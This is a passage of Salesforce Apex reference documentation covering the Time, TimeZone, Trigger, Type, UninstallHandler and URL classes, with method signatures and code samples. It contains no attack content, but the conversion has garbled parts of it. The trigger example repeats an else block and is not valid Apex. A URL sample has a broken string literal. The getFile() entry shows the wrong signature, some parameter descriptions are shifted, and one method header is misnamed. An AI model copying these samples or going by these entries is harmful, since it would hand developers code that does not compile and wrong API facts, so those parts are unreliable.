```

Return Value
Type: Integer

Example

```java
Time myTime = Time.newInstance(18, 30, 2, 20);
myTime = myTime.addHours(2);
Integer myHour = myTime.hour();
System.assertEquals(myHour, 20);
```

`millisecond()`
Returns the millisecond component of a Time.

Signature

```java
public Integer millisecond()
```

Return Value
Type: Integer

Example

```java
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(926, myTime.millisecond());
```

`minute()`
Returns the minute component of a Time.

Signature

```java
public Integer minute()
```
Return Value
Type: Integer

Example
```
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(14, myTime.minute());
```

`newInstance(hour, minutes, seconds, milliseconds)`
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds. (UTC is assumed.)

Signature
```
public static Time newInstance(Integer hour, Integer minutes, Integer seconds, Integer milliseconds)
```

Parameters
- `hour`  
  Type: Integer
- `minutes`  
  Type: Integer
- `seconds`  
  Type: Integer
- `milliseconds`  
  Type: Integer

Return Value
Type: Time

Example
The following example creates a time of 18:30:2:20 (UTC).
```
Time myTime =
Time.newInstance(18, 30, 2, 20);
```

`second()`
Returns the second component of a Time.

Signature
```
public Integer second()
```
Return Value

Type: Integer

Example

```java
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(15, myTime.second());
```

TimeZone Class

Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone ID, offset, and display name.

Namespace

System

Usage

You can use the methods in this class to get properties of a time zone, such as the properties of the time zone returned by UserInfo.getTimeZone, or the time zone returned by getTimeZone of this class.

Example

This example shows how to get properties of the current user’s time zone and displays them to the debug log.

```java
TimeZone tz = UserInfo.getTimeZone();
System.debug('Display name: ' + tz.getDisplayName());
System.debug('ID: ' + tz.getID());
// During daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,10,23,12,0,0)));
// Not during daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,11,23,12,0,0)));
System.debug('String format: ' + tz.toString());
```

The output of this sample varies based on the user’s time zone. This is an example output if the user’s time zone is America/Los_Angeles. For this time zone, daylight saving time is -7 hours from GMT (-25200000 milliseconds) and standard time is -8 hours from GMT (-28800000 milliseconds).

Display name: Pacific Standard Time
ID: America/Los_Angeles
Offset: -25200000
Offset: -28800000
String format: America/Los_Angeles

This second example shows how to create a time zone for the New York time zone and get the offset of this time zone to the GMT time zone. The example uses two dates to get the offset from. One date is before DST, and one is after DST. In 2000, DST ended on Sunday,
October 29 for the New York time zone. Because the date occurs after DST ends, the offset on the first date is –5 hours to GMT. In 2012, DST ended on Sunday, November 4. Because the date is within DST, the offset on the second date is –4 hours.

```java
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');

// Create a date before the 2007 shift of DST into November
DateTime dtpre = DateTime.newInstanceGMT(2000, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpre));  // -18000000 (=-5 hours = EST)

// Create a date after the 2007 shift of DST into November
DateTime dtpost = DateTime.newInstanceGMT(2012, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpost));  // -14400000 (=-4 hours = EDT)
```

This next example is similar to the previous one except that it gets the offset around the boundary of DST. In 2014, DST ended on Sunday, November 2 at 2:00 AM local time for the New York time zone. The first offset is obtained right before DST ends, and the second offset is obtained right after DST ends. The dates are created by using the `DateTime.newInstanceGMT` method. This method expects the passed-in date values to be based on the GMT time zone.

```java
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');

// Before DST ends
DateTime dtpre = DateTime.newInstanceGMT(2014, 11, 2, 5, 59, 59);  // 1:59:59AM local
system.debug(tz.getOffset(dtpre));  // -14400000 (= -4 hours = still on DST)

// After DST ends
DateTime dtpost = DateTime.newInstanceGMT(2014, 11, 2, 6, 0, 0);  // 1:00:00AM local
system.debug(tz.getOffset(dtpost));  // -18000000 (= -5 hours = back one hour)
```

TimeZone Methods

The following are methods for `TimeZone`.

**IN THIS SECTION:**

- `getDisplayName()`
  - Returns this time zone’s display name.
- `getID()`
  - Returns this time zone’s ID.
- `getOffset(date)`
  - Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.
- `getTimeZone(timeZoneIdString)`
  - Returns the time zone corresponding to the specified time zone ID.
- `toString()`
  - Returns the string representation of this time zone.

**getDisplayName()**

Returns this time zone’s display name.
Signature

```java
public String getDisplayName()
```

Return Value
Type: String

Versioned Behavior Changes
In API version 45.0 and later, getDisplayNam displays Daylight Savings Time appropriately when daylight savings are in effect. For example, British Summer Time is displayed for Europe/London and Pacific Daylight Time for America/Los_Angeles.

```java
getID()
```
Returns this time zone's ID.

Signature

```java
public String getID()
```

Return Value
Type: String

```java
getOffset(date)
```
Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.

Signature

```java
public Integer getOffset(Datetime date)
```

Parameters

```java
date
```
Type: Datetime

The `date` argument is the date and time to evaluate.

Return Value
Type: Integer

Usage

**Note:** The returned offset is adjusted for daylight saving time if the `date` argument falls within daylight saving time for this time zone.

```java
getTimeZone(timeZoneIdString)
```
Returns the time zone corresponding to the specified time zone ID.
Signature

```java
public static TimeZone getTimeZone(String timeZoneIdString)
```

Parameters

timeZoneIdString
Type: String

The time zone values you can use for the `Id` argument are any valid time zone values that the Java TimeZone class supports.

Return Value

Type: TimeZone

Example

```java
TimeZone tz = TimeZone.getTimeZone('America/Los_Angeles');
String tzName = tz.getDisplayName();
System.assert(tzName.equals('(GMT-08:00) Pacific Standard Time (America/Los_Angeles)') ||
              tzName.equals('(GMT-07:00) Pacific Daylight Time (America/Los_Angeles)'));
```

`toString()`

Returns the string representation of this time zone.

Signature

```java
public String toString()
```

Return Value

Type: String

**Trigger Class**

Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records that the trigger operates on.

**Namespace**

System

**Trigger Context Variables**

The Trigger class provides the following context variables.

<table>
<thead>
<tr>
<th>Variable</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>isExecuting</td>
<td>Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service, or an executeanonymous() API call.</td>
</tr>
<tr>
<td>Variable</td>
<td>Usage</td>
</tr>
<tr>
<td>---------------</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>isInsert</td>
<td>Returns <code>true</code> if this trigger was fired due to an insert operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td>isUpdate</td>
<td>Returns <code>true</code> if this trigger was fired due to an update operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td>isDelete</td>
<td>Returns <code>true</code> if this trigger was fired due to a delete operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td>isBefore</td>
<td>Returns <code>true</code> if this trigger was fired before any record was saved.</td>
</tr>
<tr>
<td>isAfter</td>
<td>Returns <code>true</code> if this trigger was fired after all records were saved.</td>
</tr>
<tr>
<td>isUndelete</td>
<td>Returns <code>true</code> if this trigger was fired after a record is recovered from the Recycle Bin. This recovery can occur after an undelete operation from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td>new</td>
<td>Returns a list of the new versions of the sObject records.</td>
</tr>
<tr>
<td></td>
<td>This sObject list is only available in <code>insert</code>, <code>update</code>, and <code>undelete</code> triggers, and the records can only be modified in <code>before</code> triggers.</td>
</tr>
<tr>
<td>newMap</td>
<td>A map of IDs to the new versions of the sObject records.</td>
</tr>
<tr>
<td></td>
<td>This map is only available in <code>before update</code>, <code>after insert</code>, <code>after update</code>, and <code>after undelete</code> triggers.</td>
</tr>
<tr>
<td>old</td>
<td>Returns a list of the old versions of the sObject records.</td>
</tr>
<tr>
<td></td>
<td>This sObject list is only available in <code>update</code> and <code>delete</code> triggers.</td>
</tr>
<tr>
<td>oldMap</td>
<td>A map of IDs to the old versions of the sObject records.</td>
</tr>
<tr>
<td></td>
<td>This map is only available in <code>update</code> and <code>delete</code> triggers.</td>
</tr>
<tr>
<td>operationType</td>
<td>Returns an enum of type <code>System.TriggerOperation</code> corresponding to the current operation. Possible values of the <code>System.TriggerOperation</code> enum are: <code>BEFORE_INSERT</code>, <code>BEFORE_UPDATE</code>, <code>BEFORE_DELETE</code>, <code>AFTER_INSERT</code>, <code>AFTER_UPDATE</code>, <code>AFTER_DELETE</code>, and <code>AFTER_UNDELETE</code>. If you vary your programming logic based on different trigger types, consider using the <code>switch</code> statement with different permutations of unique trigger execution enum states.</td>
</tr>
<tr>
<td>size</td>
<td>The total number of records in a trigger invocation, both old and new.</td>
</tr>
</tbody>
</table>

ℹ️ **Note**: The record firing a trigger can include an invalid field value, such as a formula that divides by zero. In this case, the field value is set to `null` in these variables:

- `new`
- `newMap`
- `old`
- `oldMap`
Example

For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop. It can also be used as a bind variable in the IN clause of a SOQL query.

```java
Trigger simpleTrigger on Account (after insert) {
    for (Account a : Trigger.new) {
        // Iterate over each sObject
    }

    // This single query finds every contact that is associated with any of the
    // triggering accounts. Note that although Trigger.new is a collection of
    // records, when used as a bind variable in a SOQL query, Apex automatically
    // transforms the list of records into a list of corresponding Ids.
    Contact[] cons = [SELECT LastName FROM Contact
        WHERE AccountId IN :Trigger.new];
}
```

This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes for specific trigger conditions:

```java
trigger myAccountTrigger on Account(before delete, before insert, before update,
    after delete, after insert, after update) {
    if (Trigger.isBefore) {
        if (Trigger.isDelete) {
            // In a before delete trigger, the trigger accesses the records that will be
            // deleted with the Trigger.old list.
            for (Account a : Trigger.old) {
                if (a.name != 'okToDelete') {
                    a.addError('You can\'t delete this record!');
                }
            }
        } else {
            // In before insert or before update triggers, the trigger accesses the new records
            // with the Trigger.new list.
            for (Account a : Trigger.new) {
                if (a.name == 'bad') {
                    a.name.addError('Bad name');
                }
            }
        }
    } else {
        if (Trigger.isInsert) {
            List<Contact> contacts = new List<Contact>();
        }
    } else {
        if (Trigger.isInsert) {
            List<Contact> contacts = new List<Contact>();
        }
    }
```

// If the trigger is not a before trigger, it must be an after trigger.
```
for (Account a : Trigger.new) {
    if(a.Name == 'makeContact') {
        contacts.add(new Contact (LastName = a.Name, AccountId = a.Id));
    }
}
insert contacts;
}}

TriggerOperation Enum
System.TriggerOperation enum values are associated with trigger events.

Enum Values
The following are the values of the System.TriggerOperation enum:
- AFTER_DELETE
- AFTER_INSERT
- AFTER_UNDELETE
- AFTER_UPDATE
- BEFORE_DELETE
- BEFORE_INSERT
- BEFORE_UPDATE

Type Class
Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.

Namespace
System

Usage
Use the `forName` methods to retrieve the type of an Apex class, which can be a built-in or a user-defined class. You can use these methods to retrieve the type of public and global classes, and not private classes even if the context user has access. Also, use the `newInstance` method if you want to instantiate a Type that implements an interface and call its methods while letting someone else, such as a subscriber of your package, provide the methods' implementations.

Example: Instantiating a Type Based on Its Name
The following sample shows how to use the Type methods to instantiate a Type based on its name. A typical application of this scenario is when a package subscriber provides a custom implementation of an interface that is part of an installed package. The package can get the name of the class that implements the interface through a custom setting in the subscriber’s org. The package can then instantiate the type that corresponds to this class name and invoke the methods that the subscriber implemented.
In this sample, Vehicle represents the interface that the VehicleImpl class implements. The last class contains the code sample that invokes the methods implemented in VehicleImpl.

This is the Vehicle interface.

```java
public class CustomerImplInvocationClass {

    public static void invokeCustomImpl() {
        // Get the class name from a custom setting.
        // This class implements the Vehicle interface.
        CustomImplementation__c cs = CustomImplementation__c.getInstance('Vehicle');

        // Get the Type corresponding to the class name
        Type t = Type.forName(cs.className__c);

        // Instantiate the type.
        // The type of the instantiated object
        // is the interface.
        Vehicle v = (Vehicle)t.newInstance();

        // Call the methods that have a custom implementation
        System.debug('Max speed: ' + v.getMaxSpeed());
        System.debug('Vehicle type: ' + v.getType());
    }
}
```

The `class` property returns the `System.Type` of the type it is called on. It is exposed on all Apex built-in types including primitive data types and collections, sObject types, and user-defined classes. This property can be used instead of `forName` methods.

Call this property on the type name. For example:

```java
System.Type t = Integer.class;
```
You can use this property for the second argument of JSON.deserialize, deserializeStrict, JSONObjectParser.readValueAs, and readValueAsStrict methods to get the type of the object to deserialize. For example:

```java
Decimal n = (Decimal)JSON.deserialize('100.1', Decimal.class);
```

## Type Methods

The following are methods for `Type`.

### equals(typeToCompare)

Returns `true` if the specified type is equal to the current type; otherwise, returns `false`.

### Signature

```java
public Boolean equals(Object typeToCompare)
```

### Parameters

- `typeToCompare` 
  - Type: `Object`  
  - The type to compare with the current type.

### Return Value

- Type: `Boolean`
Example

```java
Type t1 = Account.class;
Type t2 = Type.forName('Account');
System.assert(t1.equals(t2));
```

### forName(fullyQualifiedName)

Returns the type that corresponds to the specified fully qualified class name.

**Signature**

```java
public static System.Type forName(String fullyQualifiedName)
```

**Parameters**

- **fullyQualifiedName**
  - Type: **String**
  - The fully qualified name of the class to get the type of. The fully qualified class name contains the namespace name, for example, `MyNamespace.ClassName`.

**Return Value**

- Type: **System.Type**

**Usage**

- **Note:**
  - This method returns **null** if called outside a managed package to get the type of a non-global class in a managed package. This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version 27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
  - When called from an installed managed package to get the name of a local type in an organization with no defined namespace, the `forName(fullyQualifiedName)` method returns **null**. Instead, use the `forName(namespace, name)` method and specify an empty string or **null** for the namespace argument.

### forName(namespace, name)

Returns the type that corresponds to the specified namespace and class name.

**Signature**

```java
public static System.Type forName(String namespace, String name)
```

**Parameters**

- **namespace**
  - Type: **String**
  - The namespace of the class. If the class doesn't have a namespace, set the `namespace` argument to **null** or an empty string.
name
  Type: String
  The name of the class.

Return Value
Type: System.Type

Usage

Note:
- This method returns null if called outside a managed package to get the type of a non-global class in a managed package. This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version 27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
- Use this method instead of forName(fullyQualifiedName) if it will be called from a managed package installed in an organization with no defined namespace. To get the name of a local type, set the namespace argument to an empty string or null. For example, Type t = Type.forName('', 'ClassName');

Example
This example shows how to get the type that corresponds to the ClassName class and the MyNamespace namespace.

```
Type myType =
  Type.forName('MyNamespace', 'ClassName');
```

**getNamed()**

Returns the name of the current type.

Signature

```
public String getName()
```

Return Value
Type: String

Example
This example shows how to get a Type's name. It first obtains a Type by calling forName, then calls getName on the Type object.

```
Type t =
  Type.forName('MyClassName');

String typeName =
  t.getName();
System.assertEquals('MyClassName',
  typeName);
```
**hashCode()**

Returns a hash code value for the current type.

**Signature**

```java
public Integer hashCode()
```

**Return Value**

Type: `Integer`

**Usage**

The returned hash code value corresponds to the type name hash code that `String.hashCode` returns.

**isAssignableFrom(sourceType)**

Returns `true` if an object reference of the specified type can be assigned from the child type; otherwise, returns `false`.

**Signature**

```java
public Boolean isAssignableFrom(Type sourceType)
```

**Parameters**

`sourceType`

The type of the object with which you are checking compatibility.

**Return Value**

Type: `Boolean`

The method returns `true` when the method is invoked as `parentType.isAssignableFrom(childType)`. When invoked in any of the following ways, the method returns `false`:

- `childType.isAssignableFrom(parentType)`
- `typeA.isAssignableFrom(TypeB)` where `TypeB` is a sibling of `TypeA`
- `typeA.isAssignableFrom(TypeB)` where `TypeB` and `TypeA` are unrelated

**Note:** A `childType` is the child of a `parentType` when it implements an interface, extends a virtual or abstract class, or is the same `System.Type` as the `parentType`.

**Usage**

Unlike the `instanceof` operator, this method allows you to check type compatibility without having to create a class instance. This method eliminates static compile-time dependencies that `instanceof` requires.

The following code demonstrates how a typical ISV customer can use `isAssignableFrom()` to check compatibility between a customer-defined type (`customerProvidedPluginType`) and a valid plugin type.

```java
//Scenario: Managed package code loading a “plugin” class that implements a managed interface; the implementation done outside of the package
```
String pluginNameStr = Config__c.getInstance().PluginApexType__c;
Type customerProvidedPluginType = Type.forName(pluginNameStr);
Type pluginInterface = ManagedPluginInterface.class;

// Constructors may have side-effects, including potentially unsafe DML/callouts.
// We want to make sure the class is really designed to be a valid plugin before we instantiate it
Boolean validPlugin = pluginInterface.isAssignableFrom(customerProvidedPluginType); // validate that it implements the right interface
if(!validPlugin){
    throw new SecurityException('Cannot create instance of '+customerProvidedPluginType+'.
Does not implement ManagedPluginInterface');
}else{
    return Type.newInstance(validPlugin);
}

Example
The following code snippet first defines sibling classes A and B that both implement the Callable interface and an unrelated class C.
Then, it explores several type comparisons using isAssignableFrom().

//Define classes A, B, and C

global class A implements Database.Batchable<String>, Callable {
    global Iterable<String> start(Database.BatchableContext context) { return null; }
    global void execute(Database.BatchableContext context, String[] scope) { }
    global void finish(Database.BatchableContext context) { }
    global Object call(String action, Map<String, Object> args) { return null; }
}

global class B implements Callable {
    global Object call(String action, Map<String, Object> args) { return null; }
}

global class C {}

Type listOfStrings = Type.forName('List<String>');
Type listOfIntegers = Type.forName('List<Integer>');
boolean flagListTypes = listOfIntegers.isAssignableFrom(listOfStrings); // false

//Examples with stringType and idType
Type stringType = Type.forName('String');
Type idType = Type.forName('Id');
boolean isId_assignableFromString = idType.isAssignableFrom(stringType); // true
//isAssignableFrom respects that String can be assigned to Id without an explicit cast

//Examples with typeA, typeB, and typeC
Type typeA = Type.forName('A');
Type typeB = Type.forName('B');
Type typeC = Type.forName('C');
boolean isTypeB_ofTypeA = typeB.isAssignableFrom( typeA ); // false - siblings

boolean isTypeA_ofTypeC = typeA.isAssignableFrom(typeC); // false - unrelated types
boolean isTypeA_ofTypeA = typeA.isAssignableFrom(typeA); // true - identity

//Examples with callableType and batchableType
Type callableType = Type.forName('Callable');
Type batchableType = Type.forName('Database.Batchable');
boolean isTypeA_Callable = callableType.isAssignableFrom(typeA); // true - type A is a
child of Callable type
boolean isTypeA_Batchable = batchableType.isAssignableFrom(typeA); // true - type A is
a child of Batchable type
boolean isCallableOfTypeA = typeA.isAssignableFrom(callableType); // false - Callable
type is not a child of type A
boolean isBatchableOfTypeA = typeA.isAssignableFrom(batchableType); // false - Batchable
type is not a child of type A

newInstance()
Creates an instance of the current type and returns this new instance.

Signature
public Object newInstance()

Return Value
Type: Object

Usage
Because newInstance returns the generic object type, you should cast the return value to the type of the variable that will hold this value.
This method enables you to instantiate a Type that implements an interface and call its methods while letting someone else provide the methods’ implementation. For example, a package developer can provide an interface that a subscriber who installs the package can implement. The code in the package calls the subscriber’s implementation of the interface methods by instantiating the subscriber’s Type.

Example
This example shows how to create an instance of a Type. It first gets a Type by calling-forName with the name of a class (ShapeImpl), then calls newInstance on this Type object. The newObj instance is declared with the interface type (Shape) that the ShapeImpl class implements. The return value of the newInstance method is cast to the Shape type.

Type t =
    Type.forName('ShapeImpl');
Shape newObj =
    (Shape)t.newInstance();

toString()
Returns a string representation of the current type, which is the type name.
**Signature**

```java
public String toString()
```

**Return Value**

Type: String

**Usage**

This method returns the same value as `getName`. `String.valueOf` and `System.debug` use this method to convert their `Type` argument into a String.

**Example**

This example calls `toString` on the `Type` corresponding to a list of Integers.

```java
Type t = List<Integer>.class;
String s = t.toString();
System.assertEquals('List<Integer>', s);
```

**UninstallHandler Interface**

Enables custom code to run after a managed package is uninstalled.

**Namespace**

`System`

**Usage**

App developers can implement this interface to specify Apex code that runs automatically after a subscriber uninstalls a managed package. This makes it possible to perform cleanup and notification tasks based on details of the subscriber’s organization.

The uninstall script is subject to default governor limits. It runs as a special system user that represents your package, so all operations performed by the script will appear to be done by your package. You can access this user by using `UserInfo`. You will only see this user at runtime, not while running tests.

If the script fails, the uninstall continues but none of the changes performed by the script are committed. Any errors in the script are emailed to the user specified in the `Notify on Apex Error` field of the package. If no user is specified, the uninstall details will be unavailable.

The uninstall script has the following restrictions. You can’t use it to initiate batch, scheduled, and future jobs, to access Session IDs, or to perform callouts.

The `UninstallHandler` interface has a single method called `onUninstall`, which specifies the actions to be performed on uninstall.

```java
global interface UninstallHandler {
    void onUninstall(UninstallContext context);
}
```

The `onUninstall` method takes a context object as its argument, which provides the following information:

- The org ID of the organization in which the uninstall takes place.
- The user ID of the user who initiated the uninstall.
The context argument is an object whose type is the `UninstallContext` interface. This interface is automatically implemented by the system. The following definition of the `UninstallContext` interface shows the methods you can call on the context argument.

```java
global interface UninstallContext {
    ID organizationId();
    ID uninstallerId();
}
```

IN THIS SECTION:

- UninstallHandler Methods
- UninstallHandler Example Implementation

**UninstallHandler Methods**

The following are methods for `UninstallHandler`.

IN THIS SECTION:

- `onUninstall(context)`
  Specifies the actions to be performed on uninstall.

**onUninstall(context)**

Specifies the actions to be performed on uninstall.

Signature

```java
public Void onUninstall(UninstallContext context)
```

Parameters

- `context`
  Type: `UninstallContext`

Return Value

Type: `Void`

**UninstallHandler Example Implementation**

**Example of an Uninstall Script**

The sample uninstall script below performs the following actions on package uninstall.

- Inserts an entry in the feed describing which user did the uninstall and in which organization
- Creates and sends an email message confirming the uninstall to that user

```java
global class UninstallClass implements UninstallHandler {
    global void onUninstall(UninstallContext ctx) {
```
FeedItem feedPost = new FeedItem();
feedPost.parentId = ctx.uninstallerID();
feedPost.body = 'Thank you for using our application!';
insert feedPost;

User u = [Select Id, Email from User where Id =:ctx.uninstallerID()];
String toAddress= u.Email;
String[] toAddresses = new String[] {toAddress};
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package uninstall successful');
mail.setPlainTextBody('Thanks for uninstalling the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });

You can test an uninstall script using the testUninstall method of the Test class. This method takes as its argument a class that implements the UninstallHandler interface.

This sample shows how to test an uninstall script implemented in the UninstallClass Apex class.

@isTest
static void testUninstallScript() {
    Id UninstallerId = UserInfo.getUserId();
    List<FeedItem> feedPostsBefore =
        [SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
    Test.testUninstall(new UninstallClass());
    List<FeedItem> feedPostsAfter =
        [SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
    System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
        'Post to uninstaller failed.');
}

URL Class

Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.

Namespace

System

Usage

Use the methods of the System.URL class to create links to objects in your organization. Such objects can be files, images, logos, or records that you want to include in external emails, in activities, or in Chatter posts. For example, you can create a link to a file uploaded as an attachment to a Chatter post by concatenating the Salesforce base URL with the file ID, as shown in the following example:

```
// Get a file uploaded through Chatter.
ContentDocument doc = [SELECT Id FROM ContentDocument
WHERE Title = 'myfile'];
```
// Create a link to the file.
String fullFileURL = URL.getSalesforceBaseUrl().toExternalForm() + '/doc.id;
system.debug(fullFileURL);

The following example creates a link to a Salesforce record. The full URL is created by concatenating the Salesforce base URL with the record ID.

Account acct = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1];
String fullRecordURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + acct.Id;

Example

In this example, the base URL and the full request URL of the current Salesforce server instance are retrieved. Next, a URL pointing to a specific account object is created. Finally, components of the base and full URL are obtained. This example prints out all the results to the debug log output.

// Create a new account called Acme that we will create a link for later.
Account myAccount = new Account(Name='Acme');
insert myAccount;

// Get the base URL.
String sfdcBaseURL = URL.getSalesforceBaseUrl().toExternalForm();
System.debug('Base URL: ' + sfdcBaseURL );

// Get the URL for the current request.
String currentRequestURL = URL.getCurrentRequestUrl().toExternalForm();
System.debug('Current request URL: ' + currentRequestURL);

// Create the account URL from the base URL.
String accountURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + myAccount.Id;
System.debug('URL of a particular account: ' + accountURL);

// Get some parts of the base URL.
System.debug('Host: ' + URL.getSalesforceBaseUrl().getHost());
System.debug('Protocol: ' + URL.getSalesforceBaseUrl().getProtocol());

// Get the query string of the current request.
System.debug('Query: ' + URL.getCurrentRequestUrl().getQuery());

IN THIS SECTION:

URL Constructors
URL Methods

URL Constructors

The following are constructors for URL.
IN THIS SECTION:

**Url(spec)**
Creates a new instance of the `URL` class using the specified string representation of the URL.

**Url(context, spec)**
Creates a new instance of the `URL` class by parsing the specified spec within the specified context.

**Url(protocol, host, file)**
Creates a new instance of the `URL` class using the specified protocol, host, and file on the host. The default port for the specified protocol is used.

**Url(protocol, host, port, file)**
Creates a new instance of the `URL` class using the specified protocol, host, port, and file on the host.

**Url(spec)**
Creates a new instance of the `URL` class using the specified string representation of the URL.

Signature

```java
public Url(String spec)
```

Parameters

**spec**
Type: `String`
The string to parse as a URL.

**Url(context, spec)**
Creates a new instance of the `URL` class by parsing the specified spec within the specified context.

Signature

```java
public Url(Url context, String spec)
```

Parameters

**context**
Type: `URL` on page 3603
The context in which to parse the specification.

**spec**
Type: `String`
The string to parse as a URL.
Usage

The new URL is created from the given context URL and the spec argument as described in RFC2396 "Uniform Resource Identifiers: Generic * Syntax":

<scheme>://<authority><path>?<query>#<fragment>

For more information about the arguments of this constructor, see the corresponding URL(java.net.URL, java.lang.String) constructor for Java.

**Url(protocol, host, file)**

Creates a new instance of the URL class using the specified protocol, host, and file on the host. The default port for the specified protocol is used.

**Signature**

```java
public Url(String protocol, String host, String file)
```

**Parameters**

- **protocol**
  - Type: `String`
  - The protocol name for this URL.

- **host**
  - Type: `String`
  - The host name for this URL.

- **file**
  - Type: `String`
  - The file name for this URL.

**Url(protocol, host, port, file)**

Creates a new instance of the URL class using the specified protocol, host, port, and file on the host.

**Signature**

```java
public Url(String protocol, String host, Integer port, String file)
```

**Parameters**

- **protocol**
  - Type: `String`
  - The protocol name for this URL.

- **host**
  - Type: `String`
  - The host name for this URL.

- **port**
  - Type: `Integer`

- **file**
  - Type: `String`
The port number for this URL.

file
Type: String
The file name for this URL.

URL Methods
The following are methods for URL.

IN THIS SECTION:

getAuthority()
Returns the authority portion of the current URL.

getCurrentRequestUrl()
Returns the URL of an entire request on a Salesforce instance.

getDefaultPort()
Returns the default port number of the protocol associated with the current URL.

getFile()
Returns the file name of the current URL.

getFileFieldURL(entityId, fieldName)
Returns the download URL for a file attachment.

getHost()
Returns the host name of the current URL.

getOrgDomainUrl()
Returns the canonical URL for your org. For example, https://yourDomain.my.salesforce.com or, for orgs without My Domain enabled, https://yourInstance.salesforce.com.

getPath()
Returns the path portion of the current URL.

getPort()
Returns the port of the current URL.

getProtocol()
Returns the protocol name of the current URL, such as, https.

getQuery()
Returns the query portion of the current URL.

getRef()
Returns the anchor of the current URL.

getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.

getUserInfo()
Gets the UserInfo portion of the current URL.

equalFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.
**getAuthority()**

Returns the authority portion of the current URL.

**Signature**

```java
public String getAuthority()
```

**Return Value**

Type: **String**

**Usage**

An example of a URL for an entire request is `https://yourInstance.salesforce.com/apex/myVfPage.apexp`.

**getCurrentRequestUrl()**

Returns the URL of an entire request on a Salesforce instance.

**Signature**

```java
public static System.URL getCurrentRequestUrl()
```

**Return Value**

Type: **System.URL**

**Usage**

An example of a URL for an entire request is `https://yourInstance.salesforce.com/apex/myVfPage.apexp`.

**getDefaultPort()**

Returns the default port number of the protocol associated with the current URL.

**Signature**

```java
public Integer getDefaultPort()
```

**Return Value**

Type: **Integer**

**Usage**

Returns `-1` if the URL scheme or the stream protocol handler for the URL doesn’t define a default port number.

**getFile()**

Returns the file name of the current URL.
**Signature**

```java
class URL {
    public static String getFileFieldURL(String entityId, String fieldName)
}
```

**Return Value**

Type: `String`

**getFileFieldURL(entityId, fieldName)**

Returns the download URL for a file attachment.

**Signature**

```java
class URL {
    public static String getFileFieldURL(String entityId, String fieldName)
}
```

**Parameters**

- **entityId**
  - Type: `String`
  - Specifies the ID of the entity that holds the file data.

- **fieldName**
  - Type: `String`
  - Specifies the API name of a file field component, such as `AttachmentBody`.

**Return Value**

Type: `String`

**Usage**

**Example:**

```java
String fileURL = URL.getFileFieldURL(
    '087000000000123',
    'AttachmentBody');
```

**getHost()**

Returns the host name of the current URL.

**Signature**

```java
class URL {
    public String getHost()
}
```
Return Value
Type: String

`getOrgDomainUrl()`

Returns the canonical URL for your org. For example, https://yourDomain.my.salesforce.com or, for orgs without My Domain enabled, https://yourInstance.salesforce.com.

Signature

`public static System.Url getOrgDomainUrl()`

Return Value
Type: System.URL

getOrgDomainUrl() always returns the same domain for your org, regardless of context. Use this method to build links to record URLs that work both in Lightning Experience and in Salesforce Classic, or as the domain when making API calls to your org.

Usage

Use `getOrgDomainUrl()` to interact with Salesforce REST and SOAP APIs in Apex code. Get endpoints for User Interface API calls, for creating and customizing picklist value sets and custom fields, and more.

getOrgDomainUrl() can access the domain URL only for the org in which the Apex code is running.

You don’t need a RemoteSiteSetting for your org to interact with the Salesforce APIs using domain URLs retrieved with this method. To bypass remote site settings, My Domain must be enabled in your org.

Example

This example uses the Salesforce REST API to get organization limit values. For information on limits, see Limits in the REST API Developer Guide.

```java
Http h = new Http();
HttpRequest req = new HttpRequest();
req.setEndpoint(Url.getOrgDomainUrl().toExternalForm()
    + '/services/data/v44.0/limits');
req.setMethod('GET');
req.setHeader('Authorization', 'Bearer ' + UserInfo.getSessionId());
HttpResponse res = h.send(req);
```

- User Interface API Developer Guide: Get Default Values to Clone a Record
- User Interface API Developer Guide: Get Values for a Picklist Field
- User Interface API Developer Guide: User Interface API Resources
getPath()
Returns the path portion of the current URL.

Signature
public String getPath()

Return Value
Type: String

getPort()
Returns the port of the current URL.

Signature
public Integer getPort()

Return Value
Type: Integer

getProtocol()
Returns the protocol name of the current URL, such as, https.

Signature
public String getProtocol()

Return Value
Type: String

getQuery()
Returns the query portion of the current URL.

Signature
